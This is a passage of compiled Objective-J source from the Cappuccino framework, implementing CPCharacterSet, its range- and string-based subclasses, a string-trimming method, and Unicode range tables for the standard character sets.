}),new objj_method(sel_getUid("bundleForClass:"),function(_3b,_3c,_3d){
with(_3b){
return objj_msgSend(_3b,"bundleWithURL:",CFBundle.bundleForClass(_3d).bundleURL());
}
}),new objj_method(sel_getUid("mainBundle"),function(_3e,_3f){
with(_3e){
return objj_msgSend(CPBundle,"bundleWithPath:",CFBundle.mainBundle().bundleURL());
}
})]);
p;16;CPCharacterSet.jt;26710;@STATIC;1.0;I;21;Foundation/CPObject.jt;26664;
objj_executeFile("Foundation/CPObject.j",NO);
var _1={};
var _2=objj_allocateClassPair(CPObject,"CPCharacterSet"),_3=_2.isa;
class_addIvars(_2,[new objj_ivar("_inverted")]);
objj_registerClassPair(_2);
class_addMethods(_2,[new objj_method(sel_getUid("init"),function(_4,_5){
with(_4){
_4=objj_msgSendSuper({receiver:_4,super_class:objj_getClass("CPCharacterSet").super_class},"init");
_inverted=NO;
return _4;
}
}),new objj_method(sel_getUid("invert"),function(_6,_7){
with(_6){
_inverted=!_inverted;
}
}),new objj_method(sel_getUid("characterIsMember:"),function(_8,_9,_a){
with(_8){
}
}),new objj_method(sel_getUid("hasMemberInPlane:"),function(_b,_c,_d){
with(_b){
}
}),new objj_method(sel_getUid("_setInverted:"),function(_e,_f,_10){
with(_e){
_inverted=_10;
}
})]);
class_addMethods(_3,[new objj_method(sel_getUid("characterSetWithCharactersInString:"),function(_11,_12,_13){
with(_11){
return objj_msgSend(objj_msgSend(_CPStringContentCharacterSet,"alloc"),"initWithString:",_13);
}
}),new objj_method(sel_getUid("characterSetWithRange:"),function(_14,_15,_16){
with(_14){
return objj_msgSend(objj_msgSend(_CPRangeCharacterSet,"alloc"),"initWithRange:",_16);
}
}),new objj_method(sel_getUid("alphanumericCharacterSet"),function(_17,_18){
with(_17){
return objj_msgSend(CPCharacterSet,"_sharedCharacterSetWithName:",_18);
}
}),new objj_method(sel_getUid("controlCharacterSet"),function(_19,_1a){
with(_19){
return objj_msgSend(CPCharacterSet,"_sharedCharacterSetWithName:",_1a);
}
}),new objj_method(sel_getUid("decimalDigitCharacterSet"),function(_1b,_1c){
with(_1b){
return objj_msgSend(CPCharacterSet,"_sharedCharacterSetWithName:",_1c);
}
}),new objj_method(sel_getUid("decomposableCharacterSet"),function(_1d,_1e){
with(_1d){
return objj_msgSend(CPCharacterSet,"_sharedCharacterSetWithName:",_1e);
}
}),new objj_method(sel_getUid("illegalCharacterSet"),function(_1f,_20){
with(_1f){
return objj_msgSend(CPCharacterSet,"_sharedCharacterSetWithName:",_20);
}
}),new objj_method(sel_getUid("letterCharacterSet"),function(_21,_22){
with(_21){
return objj_msgSend(CPCharacterSet,"_sharedCharacterSetWithName:",_22);
}
}),new objj_method(sel_getUid("lowercaseLetterCharacterSet"),function(_23,_24){
with(_23){
return objj_msgSend(CPCharacterSet,"_sharedCharacterSetWithName:",_24);
}
}),new objj_method(sel_getUid("nonBaseCharacterSet"),function(_25,_26){
with(_25){
return objj_msgSend(CPCharacterSet,"_sharedCharacterSetWithName:",_26);
}
}),new objj_method(sel_getUid("punctuationCharacterSet"),function(_27,_28){
with(_27){
return objj_msgSend(CPCharacterSet,"_sharedCharacterSetWithName:",_28);
}
}),new objj_method(sel_getUid("uppercaseLetterCharacterSet"),function(_29,_2a){
with(_29){
return objj_msgSend(CPCharacterSet,"_sharedCharacterSetWithName:",_2a);
}
}),new objj_method(sel_getUid("whitespaceAndNewlineCharacterSet"),function(_2b,_2c){
with(_2b){
return objj_msgSend(CPCharacterSet,"_sharedCharacterSetWithName:",_2c);
}
}),new objj_method(sel_getUid("whitespaceCharacterSet"),function(_2d,_2e){
with(_2d){
return objj_msgSend(CPCharacterSet,"_sharedCharacterSetWithName:",_2e);
}
}),new objj_method(sel_getUid("_sharedCharacterSetWithName:"),function(_2f,_30,_31){
with(_2f){
var cs=_1[_31];
if(cs==nil){
var i,_32=objj_msgSend(CPArray,"array"),_33=eval(_31);
for(i=0;i<_33.length;i+=2){
var loc=_33[i];
var _34=_33[i+1];
var _35=CPMakeRange(loc,_34);
objj_msgSend(_32,"addObject:",_35);
}
cs=objj_msgSend(objj_msgSend(_CPRangeCharacterSet,"alloc"),"initWithRanges:",_32);
_1[_31]=cs;
}
return cs;
}
})]);
var _2=objj_allocateClassPair(CPCharacterSet,"_CPRangeCharacterSet"),_3=_2.isa;
class_addIvars(_2,[new objj_ivar("_ranges")]);
objj_registerClassPair(_2);
class_addMethods(_2,[new objj_method(sel_getUid("initWithRange:"),function(_36,_37,r){
with(_36){
return objj_msgSend(_36,"initWithRanges:",objj_msgSend(CPArray,"arrayWithObject:",r));
}
}),new objj_method(sel_getUid("initWithRanges:"),function(_38,_39,_3a){
with(_38){
if(_38=objj_msgSendSuper({receiver:_38,super_class:objj_getClass("_CPRangeCharacterSet").super_class},"init")){
_ranges=_3a;
}
return _38;
}
}),new objj_method(sel_getUid("copy"),function(_3b,_3c){
with(_3b){
var set=objj_msgSend(objj_msgSend(_CPRangeCharacterSet,"alloc"),"initWithRanges:",_ranges);
objj_msgSend(set,"_setInverted:",_inverted);
return set;
}
}),new objj_method(sel_getUid("invertedSet"),function(_3d,_3e){
with(_3d){
var set=objj_msgSend(objj_msgSend(_CPRangeCharacterSet,"alloc"),"initWithRanges:",_ranges);
objj_msgSend(set,"invert");
return set;
}
}),new objj_method(sel_getUid("characterIsMember:"),function(_3f,_40,_41){
with(_3f){
c=_41.charCodeAt(0);
var enu=objj_msgSend(_ranges,"objectEnumerator");
var _42;
while(_42=objj_msgSend(enu,"nextObject")){
if(CPLocationInRange(c,_42)){
return !_inverted;
}
}
return _inverted;
}
}),new objj_method(sel_getUid("hasMemberInPlane:"),function(_43,_44,_45){
with(_43){
var _46=Math.floor((range.start+range.length-1)/65536);
return (_45<=_46);
}
}),new objj_method(sel_getUid("addCharactersInRange:"),function(_47,_48,_49){
with(_47){
objj_msgSend(_ranges,"addObject:",_49);
}
}),new objj_method(sel_getUid("addCharactersInString:"),function(_4a,_4b,_4c){
with(_4a){
var i;
for(i=0;i<_4c.length;i++){
var _4d=_4c.charCodeAt(i);
var _4e=CPMakeRange(_4d,1);
objj_msgSend(_ranges,"addObject:",_4e);
}
}
})]);
var _2=objj_allocateClassPair(CPCharacterSet,"_CPStringContentCharacterSet"),_3=_2.isa;
class_addIvars(_2,[new objj_ivar("_string")]);
objj_registerClassPair(_2);
class_addMethods(_2,[new objj_method(sel_getUid("initWithString:"),function(_4f,_50,s){
with(_4f){
if(_4f=objj_msgSendSuper({receiver:_4f,super_class:objj_getClass("_CPStringContentCharacterSet").super_class},"init")){
_string=s;
}
return _4f;
}
}),new objj_method(sel_getUid("copy"),function(_51,_52){
with(_51){
var set=objj_msgSend(objj_msgSend(_CPStringContentCharacterSet,"alloc"),"initWithString:",_string);
objj_msgSend(set,"_setInverted:",_inverted);
return set;
}
}),new objj_method(sel_getUid("invertedSet"),function(_53,_54){
with(_53){
var set=objj_msgSend(objj_msgSend(_CPStringContentCharacterSet,"alloc"),"initWithString:",_string);
objj_msgSend(set,"invert");
return set;
}
}),new objj_method(sel_getUid("characterIsMember:"),function(_55,_56,c){
with(_55){
return (_string.indexOf(c.charAt(0))!=-1)==!_inverted;
}
}),new objj_method(sel_getUid("description"),function(_57,_58){
with(_57){
return objj_msgSendSuper({receiver:_57,super_class:objj_getClass("_CPStringContentCharacterSet").super_class},"description")+" { string = '"+_string+"'}";
}
}),new objj_method(sel_getUid("hasMemberInPlane:"),function(_59,_5a,_5b){
with(_59){
return _5b==0;
}
}),new objj_method(sel_getUid("addCharactersInRange:"),function(_5c,_5d,_5e){
with(_5c){
var i;
for(i=_5e.location;i<_5e.location+_5e.length;i++){
var s=String.fromCharCode(i);
if(!objj_msgSend(_5c,"characterIsMember:",s)){
_string=objj_msgSend(_string,"stringByAppendingString:",s);
}
}
}
}),new objj_method(sel_getUid("addCharactersInString:"),function(_5f,_60,_61){
with(_5f){
var i;
for(i=0;i<_61.length;i++){
var s=_61.charAt(i);
if(!objj_msgSend(_5f,"characterIsMember:",s)){
_string=objj_msgSend(_string,"stringByAppendingString:",s);
}
}
}
})]);
_CPCharacterSetTrimAtBeginning=1<<1;
_CPCharacterSetTrimAtEnd=1<<2;
var _2=objj_getClass("CPString");
if(!_2){
throw new SyntaxError("*** Could not find definition for class \"CPString\"");
}
var _3=_2.isa;
class_addMethods(_2,[new objj_method(sel_getUid("stringByTrimmingCharactersInSet:"),function(_62,_63,set){
with(_62){
return objj_msgSend(_62,"_stringByTrimmingCharactersInSet:options:",set,_CPCharacterSetTrimAtBeginning|_CPCharacterSetTrimAtEnd);
}
}),new objj_method(sel_getUid("_stringByTrimmingCharactersInSet:options:"),function(_64,_65,set,_66){
with(_64){
var str=_64;
if(_66&_CPCharacterSetTrimAtBeginning){
var _67=0;
while(_67<_64.length&&objj_msgSend(set,"characterIsMember:",_64.charAt(_67))){
_67++;
}
str=str.substr(_67);
}
if(_66&_CPCharacterSetTrimAtEnd){
var _68=str.length;
while(_68>0&&objj_msgSend(set,"characterIsMember:",_64.charAt(_68))){
_68--;
}
str=str.substr(0,_68+1);
}
return str;
}
})]);
alphanumericCharacterSet=[48,10,65,26,97,26,170,1,178,2,181,1,185,2,188,3,192,23,216,31,248,458,710,12,736,5,750,1,768,112,890,4,902,1,904,3,908,1,910,20,931,44,976,38,1015,139,1155,4,1160,140,1329,38,1369,1,1377,39,1425,45,1471,1,1473,2,1476,2,1479,1,1488,27,1520,3,1552,6,1569,26,1600,31,1632,10,1646,102,1749,8,1758,11,1770,19,1791,1,1808,59,1869,33,1920,50,1984,54,2042,1,2305,57,2364,18,2384,5,2392,12,2406,10,2427,5,2433,3,2437,8,2447,2,2451,22,2474,7,2482,1,2486,4,2492,9,2503,2,2507,4,2519,1,2524,2,2527,5,2534,12,2548,6,2561,3,2565,6,2575,2,2579,22,2602,7,2610,2,2613,2,2616,2,2620,1,2622,5,2631,2,2635,3,2649,4,2654,1,2662,15,2689,3,2693,9,2703,3,2707,22,2730,7,2738,2,2741,5,2748,10,2759,3,2763,3,2768,1,2784,4,2790,10,2817,3,2821,8,2831,2,2835,22,2858,7,2866,2,2869,5,2876,8,2887,2,2891,3,2902,2,2908,2,2911,3,2918,10,2929,1,2946,2,2949,6,2958,3,2962,4,2969,2,2972,1,2974,2,2979,2,2984,3,2990,12,3006,5,3014,3,3018,4,3031,1,3046,13,3073,3,3077,8,3086,3,3090,23,3114,10,3125,5,3134,7,3142,3,3146,4,3157,2,3168,2,3174,10,3202,2,3205,8,3214,3,3218,23,3242,10,3253,5,3260,9,3270,3,3274,4,3285,2,3294,1,3296,4,3302,10,3330,2,3333,8,3342,3,3346,23,3370,16,3390,6,3398,3,3402,4,3415,1,3424,2,3430,10,3458,2,3461,18,3482,24,3507,9,3517,1,3520,7,3530,1,3535,6,3542,1,3544,8,3570,2,3585,58,3648,15,3664,10,3713,2,3716,1,3719,2,3722,1,3725,1,3732,4,3737,7,3745,3,3749,1,3751,1,3754,2,3757,13,3771,3,3776,5,3782,1,3784,6,3792,10,3804,2,3840,1,3864,2,3872,20,3893,1,3895,1,3897,1,3902,10,3913,34,3953,20,3974,6,3984,8,3993,36,4038,1,4096,34,4131,5,4137,2,4140,7,4150,4,4160,10,4176,10,4256,38,4304,43,4348,1,4352,90,4447,68,4520,82,4608,73,4682,4,4688,7,4696,1,4698,4,4704,41,4746,4,4752,33,4786,4,4792,7,4800,1,4802,4,4808,15,4824,57,4882,4,4888,67,4959,1,4969,20,4992,16,5024,85,5121,620,5743,8,5761,26,5792,75,5870,3,5888,13,5902,7,5920,21,5952,20,5984,13,5998,3,6002,2,6016,52,6070,30,6103,1,6108,2,6112,10,6128,10,6155,3,6160,10,6176,88,6272,42,6400,29,6432,12,6448,12,6470,40,6512,5,6528,42,6576,26,6608,10,6656,28,6912,76,6992,10,7019,9,7424,203,7678,158,7840,90,7936,22,7960,6,7968,38,8008,6,8016,8,8025,1,8027,1,8029,1,8031,31,8064,53,8118,7,8126,1,8130,3,8134,7,8144,4,8150,6,8160,13,8178,3,8182,7,8304,2,8308,6,8319,11,8336,5,8400,32,8450,1,8455,1,8458,10,8469,1,8473,5,8484,1,8486,1,8488,1,8490,4,8495,11,8508,4,8517,5,8526,1,8531,50,9312,60,9450,22,10102,30,11264,47,11312,47,11360,13,11380,4,11392,101,11517,1,11520,38,11568,54,11631,1,11648,23,11680,7,11688,7,11696,7,11704,7,11712,7,11720,7,11728,7,11736,7,12293,3,12321,15,12337,5,12344,5,12353,86,12441,2,12445,3,12449,90,12540,4,12549,40,12593,94,12690,4,12704,24,12784,16,12832,10,12881,15,12928,10,12977,15,13312,6582,19968,20924,40960,1165,42775,4,43008,40,43072,52,44032,11172,63744,302,64048,59,64112,106,64256,7,64275,5,64285,12,64298,13,64312,5,64318,1,64320,2,64323,2,64326,108,64467,363,64848,64,64914,54,65008,12,65024,16,65056,4,65136,5,65142,135,65296,10,65313,26,65345,26,65382,89,65474,6,65482,6,65490,6];
controlCharacterSet=[0,32,127,33,173,1,1536,4,1757,1,1807,1,6068,2,8203,5,8234,5,8288,4,8298,6,65279,1];
decimalDigitCharacterSet=[48,10,1632,10,1776,10,1984,10,2406,10,2534,10,2662,10,2790,10,2918,10,3046,10,3174,10,3302,10,3430,10,3664,10,3792,10,3872,10,4160,10,6112,10,6160,10,6470,10,6608,10,6992,10];
decomposableCharacterSet=[192,6,199,9,209,6,217,5,224,6,231,9,241,6,249,5,255,17,274,20,296,9,308,4,313,6,323,6,332,6,340,18,360,23,416,2,431,2,461,16,478,6,486,11,500,2,504,36,542,2,550,14,832,2,835,2,884,1,894,1,901,6,908,1,910,3,938,7,970,5,979,2,1024,2,1027,1,1031,1,1036,3,1049,1,1081,1,1104,2,1107,1,1111,1,1116,3,1142,2,1217,2,1232,4,1238,2,1242,6,1250,6,1258,12,1272,2,1570,5,1728,1,1730,1,1747,1,2345,1,2353,1,2356,1,2392,8,2507,2,2524,2,2527,1,2611,1,2614,1,2649,3,2654,1,2888,1,2891,2,2908,2,2964,1,3018,3,3144,1,3264,1,3271,2,3274,2,3402,3,3546,1,3548,3,3907,1,3917,1,3922,1,3927,1,3932,1,3945,1,3955,1,3957,2,3960,1,3969,1,3987,1,3997,1,4002,1,4007,1,4012,1,4025,1,4134,1,6918,1,6920,1,6922,1,6924,1,6926,1,6930,1,6971,1,6973,1,6976,2,6979,1,7680,154,7835,1,7840,90,7936,22,7960,6,7968,38,8008,6,8016,8,8025,1,8027,1,8029,1,8031,31,8064,53,8118,7,8126,1,8129,4,8134,14,8150,6,8157,19,8178,3,8182,8,8192,2,8486,1,8490,2,8602,2,8622,1,8653,3,8708,1,8713,1,8716,1,8740,1,8742,1,8769,1,8772,1,8775,1,8777,1,8800,1,8802,1,8813,5,8820,2,8824,2,8832,2,8836,2,8840,2,8876,4,8928,4,8938,4,9001,2,10972,1,12364,1,12366,1,12368,1,12370,1,12372,1,12374,1,12376,1,12378,1,12380,1,12382,1,12384,1,12386,1,12389,1,12391,1,12393,1,12400,2,12403,2,12406,2,12409,2,12412,2,12436,1,12446,1,12460,1,12462,1,12464,1,12466,1,12468,1,12470,1,12472,1,12474,1,12476,1,12478,1,12480,1,12482,1,12485,1,12487,1,12489,1,12496,2,12499,2,12502,2,12505,2,12508,2,12532,1,12535,4,12542,1,44032,11172,63744,270,64016,1,64018,1,64021,10,64032,1,64034,1,64037,2,64042,4,64048,59,64112,106,64285,1,64287,1,64298,13,64312,5,64318,1,64320,2,64323,2];
illegalCharacterSet=[880,4,886,4,895,5,907,1,909,1,930,1,975,1,1159,1,1300,29,1367,2,1376,1,1416,1,1419,6,1480,8,1515,5,1525,11,1540,7,1558,5,1564,2,1568,1,1595,5,1631,1,1806,1,1867,2,1902,18,1970,14,2043,262,2362,2,2382,2,2389,3,2417,10,2432,1,2436,1,2445,2,2449,2,2473,1,2481,1,2483,3,2490,2,2501,2,2505,2,2511,8,2520,4,2526,1,2532,2,2555,6,2564,1,2571,4,2577,2,2601,1,2609,1,2612,1,2615,1,2618,2,2621,1,2627,4,2633,2,2638,11,2653,1,2655,7,2677,12,2692,1,2702,1,2706,1,2729,1,2737,1,2740,1,2746,2,2758,1,2762,1,2766,2,2769,15,2788,2,2800,1,2802,15,2820,1,2829,2,2833,2,2857,1,2865,1,2868,1,2874,2,2884,3,2889,2,2894,8,2904,4,2910,1,2914,4,2930,16,2948,1,2955,3,2961,1,2966,3,2971,1,2973,1,2976,3,2981,3,2987,3,3002,4,3011,3,3017,1,3022,9,3032,14,3067,6,3076,1,3085,1,3089,1,3113,1,3124,1,3130,4,3141,1,3145,1,3150,7,3159,9,3170,4,3184,18,3204,1,3213,1,3217,1,3241,1,3252,1,3258,2,3269,1,3273,1,3278,7,3287,7,3295,1,3300,2,3312,1,3315,15,3332,1,3341,1,3345,1,3369,1,3386,4,3396,2,3401,1,3406,9,3416,8,3426,4,3440,18,3460,1,3479,3,3506,1,3516,1,3518,2,3527,3,3531,4,3541,1,3543,1,3552,18,3573,12,3643,4,3676,37,3715,1,3717,2,3721,1,3723,2,3726,6,3736,1,3744,1,3748,1,3750,1,3752,2,3756,1,3770,1,3774,2,3781,1,3783,1,3790,2,3802,2,3806,34,3912,1,3947,6,3980,4,3992,1,4029,1,4045,2,4050,46,4130,1,4136,1,4139,1,4147,3,4154,6,4186,70,4294,10,4349,3,4442,5,4515,5,4602,6,4681,1,4686,2,4695,1,4697,1,4702,2,4745,1,4750,2,4785,1,4790,2,4799,1,4801,1,4806,2,4823,1,4881,1,4886,2,4955,4,4989,3,5018,6,5109,12,5751,9,5789,3,5873,15,5901,1,5909,11,5943,9,5972,12,5997,1,6001,1,6004,12,6110,2,6122,6,6138,6,6159,1,6170,6,6264,8,6314,86,6429,3,6444,4,6460,4,6465,3,6510,2,6517,11,6570,6,6602,6,6618,4,6684,2,6688,224,6988,4,7037,387,7627,51,7836,4,7930,6,7958,2,7966,2,8006,2,8014,2,8024,1,8026,1,8028,1,8030,1,8062,2,8117,1,8133,1,8148,2,8156,1,8176,2,8181,1,8191,1,8292,6,8306,2,8335,1,8341,11,8374,26,8432,16,8527,4,8581,11,9192,24,9255,25,9291,21,9885,3,9907,78,9989,1,9994,2,10024,1,10060,1,10062,1,10067,3,10071,1,10079,2,10133,3,10160,1,10175,1,10187,5,10220,4,11035,5,11044,220,11311,1,11359,1,11373,7,11384,8,11499,14,11558,10,11622,9,11632,16,11671,9,11687,1,11695,1,11703,1,11711,1,11719,1,11727,1,11735,1,11743,33,11800,4,11806,98,11930,1,12020,12,12246,26,12284,4,12352,1,12439,2,12544,5,12589,4,12687,1,12728,8,12752,32,12831,1,12868,12,13055,1,19894,10,40892,68,42125,3,42183,569,42779,5,42786,222,43052,20,43128,904,55204,92,64046,2,64107,5,64218,38,64263,12,64280,5,64311,1,64317,1,64319,1,64322,1,64325,1,64434,33,64832,16,64912,2,64968,40,65022,2,65050,6,65060,12,65107,1,65127,1,65132,4,65141,1,65277,2,65280,1,65471,3,65480,2,65488,2,65496,2,65501,3,65511,1,65519,10];
letterCharacterSet=[65,26,97,26,170,1,181,1,186,1,192,23,216,31,248,458,710,12,736,5,750,1,768,112,890,4,902,1,904,3,908,1,910,20,931,44,976,38,1015,139,1155,4,1160,140,1329,38,1369,1,1377,39,1425,45,1471,1,1473,2,1476,2,1479,1,1488,27,1520,3,1552,6,1569,26,1600,31,1646,102,1749,8,1758,11,1770,6,1786,3,1791,1,1808,59,1869,33,1920,50,1994,44,2042,1,2305,57,2364,18,2384,5,2392,12,2427,5,2433,3,2437,8,2447,2,2451,22,2474,7,2482,1,2486,4,2492,9,2503,2,2507,4,2519,1,2524,2,2527,5,2544,2,2561,3,2565,6,2575,2,2579,22,2602,7,2610,2,2613,2,2616,2,2620,1,2622,5,2631,2,2635,3,2649,4,2654,1,2672,5,2689,3,2693,9,2703,3,2707,22,2730,7,2738,2,2741,5,2748,10,2759,3,2763,3,2768,1,2784,4,2817,3,2821,8,2831,2,2835,22,2858,7,2866,2,2869,5,2876,8,2887,2,2891,3,2902,2,2908,2,2911,3,2929,1,2946,2,2949,6,2958,3,2962,4,2969,2,2972,1,2974,2,2979,2,2984,3,2990,12,3006,5,3014,3,3018,4,3031,1,3073,3,3077,8,3086,3,3090,23,3114,10,3125,5,3134,7,3142,3,3146,4,3157,2,3168,2,3202,2,3205,8,3214,3,3218,23,3242,10,3253,5,3260,9,3270,3,3274,4,3285,2,3294,1,3296,4,3330,2,3333,8,3342,3,3346,23,3370,16,3390,6,3398,3,3402,4,3415,1,3424,2,3458,2,3461,18,3482,24,3507,9,3517,1,3520,7,3530,1,3535,6,3542,1,3544,8,3570,2,3585,58,3648,15,3713,2,3716,1,3719,2,3722,1,3725,1,3732,4,3737,7,3745,3,3749,1,3751,1,3754,2,3757,13,3771,3,3776,5,3782,1,3784,6,3804,2,3840,1,3864,2,3893,1,3895,1,3897,1,3902,10,3913,34,3953,20,3974,6,3984,8,3993,36,4038,1,4096,34,4131,5,4137,2,4140,7,4150,4,4176,10,4256,38,4304,43,4348,1,4352,90,4447,68,4520,82,4608,73,4682,4,4688,7,4696,1,4698,4,4704,41,4746,4,4752,33,4786,4,4792,7,4800,1,4802,4,4808,15,4824,57,4882,4,4888,67,4959,1,4992,16,5024,85,5121,620,5743,8,5761,26,5792,75,5888,13,5902,7,5920,21,5952,20,5984,13,5998,3,6002,2,6016,52,6070,30,6103,1,6108,2,6155,3,6176,88,6272,42,6400,29,6432,12,6448,12,6480,30,6512,5,6528,42,6576,26,6656,28,6912,76,7019,9,7424,203,7678,158,7840,90,7936,22,7960,6,7968,38,8008,6,8016,8,8025,1,8027,1,8029,1,8031,31,8064,53,8118,7,8126,1,8130,3,8134,7,8144,4,8150,6,8160,13,8178,3,8182,7,8305,1,8319,1,8336,5,8400,32,8450,1,8455,1,8458,10,8469,1,8473,5,8484,1,8486,1,8488,1,8490,4,8495,11,8508,4,8517,5,8526,1,8579,2,11264,47,11312,47,11360,13,11380,4,11392,101,11520,38,11568,54,11631,1,11648,23,11680,7,11688,7,11696,7,11704,7,11712,7,11720,7,11728,7,11736,7,12293,2,12330,6,12337,5,12347,2,12353,86,12441,2,12445,3,12449,90,12540,4,12549,40,12593,94,12704,24,12784,16,13312,6582,19968,20924,40960,1165,42775,4,43008,40,43072,52,44032,11172,63744,302,64048,59,64112,106,64256,7,64275,5,64285,12,64298,13,64312,5,64318,1,64320,2,64323,2,64326,108,64467,363,64848,64,64914,54,65008,12,65024,16,65056,4,65136,5,65142,135,65313,26,65345,26,65382,89,65474,6,65482,6,65490,6];
lowercaseLetterCharacterSet=[97,26,170,1,181,1,186,1,223,24,248,8,257,1,259,1,261,1,263,1,265,1,267,1,269,1,271,1,273,1,275,1,277,1,279,1,281,1,283,1,285,1,287,1,289,1,291,1,293,1,295,1,297,1,299,1,301,1,303,1,305,1,307,1,309,1,311,2,314,1,316,1,318,1,320,1,322,1,324,1,326,1,328,2,331,1,333,1,335,1,337,1,339,1,341,1,343,1,345,1,347,1,349,1,351,1,353,1,355,1,357,1,359,1,361,1,363,1,365,1,367,1,369,1,371,1,373,1,375,1,378,1,380,1,382,3,387,1,389,1,392,1,396,2,402,1,405,1,409,3,414,1,417,1,419,1,421,1,424,1,426,2,429,1,432,1,436,1,438,1,441,2,445,3,454,1,457,1,460,1,462,1,464,1,466,1,468,1,470,1,472,1,474,1,476,2,479,1,481,1,483,1,485,1,487,1,489,1,491,1,493,1,495,2,499,1,501,1,505,1,507,1,509,1,511,1,513,1,515,1,517,1,519,1,521,1,523,1,525,1,527,1,529,1,531,1,533,1,535,1,537,1,539,1,541,1,543,1,545,1,547,1,549,1,551,1,553,1,555,1,557,1,559,1,561,1,563,7,572,1,575,2,578,1,583,1,585,1,587,1,589,1,591,69,661,27,891,3,912,1,940,35,976,2,981,3,985,1,987,1,989,1,991,1,993,1,995,1,997,1,999,1,1001,1,1003,1,1005,1,1007,5,1013,1,1016,1,1019,2,1072,48,1121,1,1123,1,1125,1,1127,1,1129,1,1131,1,1133,1,1135,1,1137,1,1139,1,1141,1,1143,1,1145,1,1147,1,1149,1,1151,1,1153,1,1163,1,1165,1,1167,1,1169,1,1171,1,1173,1,1175,1,1177,1,1179,1,1181,1,1183,1,1185,1,1187,1,1189,1,1191,1,1193,1,1195,1,1197,1,1199,1,1201,1,1203,1,1205,1,1207,1,1209,1,1211,1,1213,1,1215,1,1218,1,1220,1,1222,1,1224,1,1226,1,1228,1,1230,2,1233,1,1235,1,1237,1,1239,1,1241,1,1243,1,1245,1,1247,1,1249,1,1251,1,1253,1,1255,1,1257,1,1259,1,1261,1,1263,1,1265,1,1267,1,1269,1,1271,1,1273,1,1275,1,1277,1,1279,1,1281,1,1283,1,1285,1,1287,1,1289,1,1291,1,1293,1,1295,1,1297,1,1299,1,1377,39,7424,44,7522,22,7545,34,7681,1,7683,1,7685,1,7687,1,7689,1,7691,1,7693,1,7695,1,7697,1,7699,1,7701,1,7703,1,7705,1,7707,1,7709,1,7711,1,7713,1,7715,1,7717,1,7719,1,7721,1,7723,1,7725,1,7727,1,7729,1,7731,1,7733,1,7735,1,7737,1,7739,1,7741,1,7743,1,7745,1,7747,1,7749,1,7751,1,7753,1,7755,1,7757,1,7759,1,7761,1,7763,1,7765,1,7767,1,7769,1,7771,1,7773,1,7775,1,7777,1,7779,1,7781,1,7783,1,7785,1,7787,1,7789,1,7791,1,7793,1,7795,1,7797,1,7799,1,7801,1,7803,1,7805,1,7807,1,7809,1,7811,1,7813,1,7815,1,7817,1,7819,1,7821,1,7823,1,7825,1,7827,1,7829,7,7841,1,7843,1,7845,1,7847,1,7849,1,7851,1,7853,1,7855,1,7857,1,7859,1,7861,1,7863,1,7865,1,7867,1,7869,1,7871,1,7873,1,7875,1,7877,1,7879,1,7881,1,7883,1,7885,1,7887,1,7889,1,7891,1,7893,1,7895,1,7897,1,7899,1,7901,1,7903,1,7905,1,7907,1,7909,1,7911,1,7913,1,7915,1,7917,1,7919,1,7921,1,7923,1,7925,1,7927,1,7929,1,7936,8,7952,6,7968,8,7984,8,8000,6,8016,8,8032,8,8048,14,8064,8,8080,8,8096,8,8112,5,8118,2,8126,1,8130,3,8134,2,8144,4,8150,2,8160,8,8178,3,8182,2,8305,1,8319,1,8458,1,8462,2,8467,1,8495,1,8500,1,8505,1,8508,2,8518,4,8526,1,8580,1,11312,47,11361,1,11365,2,11368,1,11370,1,11372,1,11380,1,11382,2,11393,1,11395,1,11397,1,11399,1,11401,1,11403,1,11405,1,11407,1,11409,1,11411,1,11413,1,11415,1,11417,1,11419,1,11421,1,11423,1,11425,1,11427,1,11429,1,11431,1,11433,1,11435,1,11437,1,11439,1,11441,1,11443,1,11445,1,11447,1,11449,1,11451,1,11453,1,11455,1,11457,1,11459,1,11461,1,11463,1,11465,1,11467,1,11469,1,11471,1,11473,1,11475,1,11477,1,11479,1,11481,1,11483,1,11485,1,11487,1,11489,1,11491,2,11520,38,64256,7,64275,5];
nonBaseCharacterSet=[768,112,1155,4,1160,2,1425,45,1471,1,1473,2,1476,2,1479,1,1552,6,1611,20,1648,1,1750,7,1758,7,1767,2,1770,4,1809,1,1840,27,1958,11,2027,9,2305,3,2364,1,2366,16,2385,4,2402,2,2433,3,2492,1,2494,7,2503,2,2507,3,2519,1,2530,2,2561,3,2620,1,2622,5,2631,2,2635,3,2672,2,2689,3,2748,1,2750,8,2759,3,2763,3,2786,2,2817,3,2876,1,2878,6,2887,2,2891,3,2902,2,2946,1,3006,5,3014,3,3018,4,3031,1,3073,3,3134,7,3142,3,3146,4,3157,2,3202,2,3260,1,3262,7,3270,3,3274,4,3285,2,3298,2,3330,2,3390,6,3398,3,3402,4,3415,1,3458,2,3530,1,3535,6,3542,1,3544,8,3570,2,3633,1,3636,7,3655,8,3761,1,3764,6,3771,2,3784,6,3864,2,3893,1,3895,1,3897,1,3902,2,3953,20,3974,2,3984,8,3993,36,4038,1,4140,7,4150,4,4182,4,4959,1,5906,3,5938,3,5970,2,6002,2,6070,30,6109,1,6155,3,6313,1,6432,12,6448,12,6576,17,6600,2,6679,5,6912,5,6964,17,7019,9,7616,11,7678,2,8400,32,12330,6,12441,2,43010,1,43014,1,43019,1,43043,5,64286,1,65024,16];
punctuationCharacterSet=[33,3,37,6,44,4,58,2,63,2,91,3,95,1,123,1,125,1,161,1,171,1,183,1,187,1,191,1,894,1,903,1,1370,6,1417,2,1470,1,1472,1,1475,1,1478,1,1523,2,1548,2,1563,1,1566,2,1642,4,1748,1,1792,14,2039,3,2404,2,2416,1,3572,1,3663,1,3674,2,3844,15,3898,4,3973,1,4048,2,4170,6,4347,1,4961,8,5741,2,5787,2,5867,3,5941,2,6100,3,6104,3,6144,11,6468,2,6622,2,6686,2,7002,7,8208,24,8240,20,8261,13,8275,12,8317,2,8333,2,9001,2,10088,14,10181,2,10214,6,10627,22,10712,4,10748,2,11513,4,11518,2,11776,24,11804,2,12289,3,12296,10,12308,12,12336,1,12349,1,12448,1,12539,1,43124,4,64830,2,65040,10,65072,35,65108,14,65123,1,65128,1,65130,2,65281,3,65285,6,65292,4,65306,2,65311,2,65339,3,65343,1,65371,1,65373,1];
